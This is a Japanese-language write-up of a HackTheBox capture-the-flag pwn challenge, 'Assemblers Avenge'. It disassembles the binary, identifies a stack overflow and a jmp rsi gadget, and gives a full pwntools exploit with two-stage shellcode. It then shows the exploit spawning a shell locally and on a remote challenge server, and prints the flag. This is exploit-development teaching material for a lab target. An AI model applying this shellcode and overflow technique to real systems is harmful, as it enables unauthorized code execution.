Writeup Log

Assemblers Avenge

## solve

URL にアクセスすると、以下の表示が出る。

~~ When you stare into the abyss, the abyss stares back at you! ~~

Your only savior is: /bin/sh

提供されているファイルを DL すると、assemblers_avenge というバイナリが手に入るので、この中身を読んで Pwn を目指す。

bash
❯ file assemblers_avenge
assemblers_avenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

checksec で見ておく。ガードがわりかし緩いことがわかる。

bash
❯ pwn checksec assemblers_avenge
[*] '[root]/assemblers_avenge'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

objdump を使ってどういうコードが含まれているかを見ていく。

bash
❯ objdump -d -Mintel ./assemblers_avenge

./assemblers_avenge:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       55                      push   rbp
  401001:       48 89 e5                mov    rbp,rsp
  401004:       48 83 ec 20             sub    rsp,0x20
  401008:       e8 0a 00 00 00          call   401017 <_write>
  40100d:       e8 5b 00 00 00          call   40106d <_read>
  401012:       e8 29 00 00 00          call   401040 <_exit>

0000000000401017 <_write>:
  401017:       55                      push   rbp
  401018:       48 89 e5                mov    rbp,rsp
  40101b:       48 83 ec 20             sub    rsp,0x20
  40101f:       48 c7 c0 01 00 00 00    mov    rax,0x1
  401026:       48 c7 c7 01 00 00 00    mov    rdi,0x1
  40102d:       48 8d 34 25 0c 20 40    lea    rsi,ds:0x40200c
  401034:       00
  401035:       48 c7 c2 62 00 00 00    mov    rdx,0x62
  40103c:       0f 05                   syscall
  40103e:       c9                      leave
  40103f:       c3                      ret

0000000000401040 <_exit>:
  401040:       48 c7 c0 01 00 00 00    mov    rax,0x1
  401047:       48 c7 c7 01 00 00 00    mov    rdi,0x1
  40104e:       48 8d 34 25 6d 20 40    lea    rsi,ds:0x40206d
  401055:       00
  401056:       48 c7 c2 11 00 00 00    mov    rdx,0x11
  40105d:       0f 05                   syscall
  40105f:       48 c7 c0 3c 00 00 00    mov    rax,0x3c
  401066:       48 31 ff                xor    rdi,rdi
  401069:       0f 05                   syscall
  40106b:       ff e6                   jmp    rsi

000000000040106d <_read>:
  40106d:       55                      push   rbp
  40106e:       48 89 e5                mov    rbp,rsp
  401071:       48 83 ec 10             sub    rsp,0x10
  401075:       48 c7 c7 00 00 00 00    mov    rdi,0x0
  40107c:       48 8d 75 f8             lea    rsi,[rbp-0x8]
  401080:       48 c7 c2 18 00 00 00    mov    rdx,0x18
  401087:       48 c7 c0 00 00 00 00    mov    rax,0x0
  40108e:       0f 05                   syscall
  401090:       c9                      leave
  401091:       c3                      ret

_read を読むと、read(0, rbp-0x8, 0x18) となり、8 byte の領域に対して 24 byte 読み込んでいる。rbprip まで上書きできるため、rip までの offset は 16 バイトと推定できる。

また、_exit の末尾に jmp rsi があり、そのアドレスが 0x40106b となっている。rip をこのアドレスに上書きすれば、rsi の指す場所へ飛べるのでここを利用する。

ただ上記の read は 24 byte しか受け取れず、shell を取得するには少ない。そのため、1 ステップ目で shell を取れる領域を確保し、2 ステップ目で shell を起動する構成を考える。

これをコードに落とすと以下のようになる。

exploit.py
from pwn import *
from pwnlib.tubes.process import PIPE
import time

context.arch = 'amd64'
context.os = 'linux'

# asm (size must fit in 16 bytes)
stage1 = asm('''
    lea rsi, [rsp+0x200]
    xor eax, eax
    mov dl, 0xff
    syscall
    jmp rsi
''')

# execve("/bin/sh", NULL, NULL) via pwntools shellcraft
stage2 = asm(shellcraft.sh())

payload = stage1 + p64(0x40106b)

p = process("./assemblers_avenge", stdin=PIPE, stdout=PIPE, stderr=PIPE)
p.recv(timeout=0.2)
p.send(payload)
p.send(stage2)
time.sleep(0.2)

p.send(b"echo PWNED; id; uname -s\n")
print(p.recvline(timeout=0.5))
print(p.recvline(timeout=0.5))
print(p.recvline(timeout=0.5))

p.interactive()

実際に実行すると、shell を取得できていることが確認できる。

bash
❯ python exploit.py
[+] Starting local process './assemblers_avenge': pid 38963
b'PWNED\n'
b'uid=1000(nabeen) gid=1000(nabeen) groups=1000(nabeen),998(wheel)\n'
b'Linux\n'
[*] Switching to interactive mode
$

実際はリモートで立ち上がっているものに対して shell を取得したいので、以下のように書き換えて向き先をリモートにする。

diff
-p = process("./assemblers_avenge", stdin=PIPE, stdout=PIPE, stderr=PIPE)
+p = remote('154.57.164.73',32758);

実行すると、flag を読み出すことができる。

bash
❯ python exploit.py
[+] Opening connection to 154.57.164.73 on port 32758: Done
b'~~ When you stare into the abyss, the abyss stares back at you! ~~\n'
b'\n'
b'Your only savior is: /bin/sh\x00\n'
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ pwd
/home/ctf
$ ls
assemblers_avenge
flag.txt
$ cat flag.txt
HTB{y0ur_l0c4l_4553mbl3R5_4v3ng3d_0n_t1m3}

## flag

  • HTB{y0ur_l0c4l_4553mbl3R5_4v3ng3d_0n_t1m3}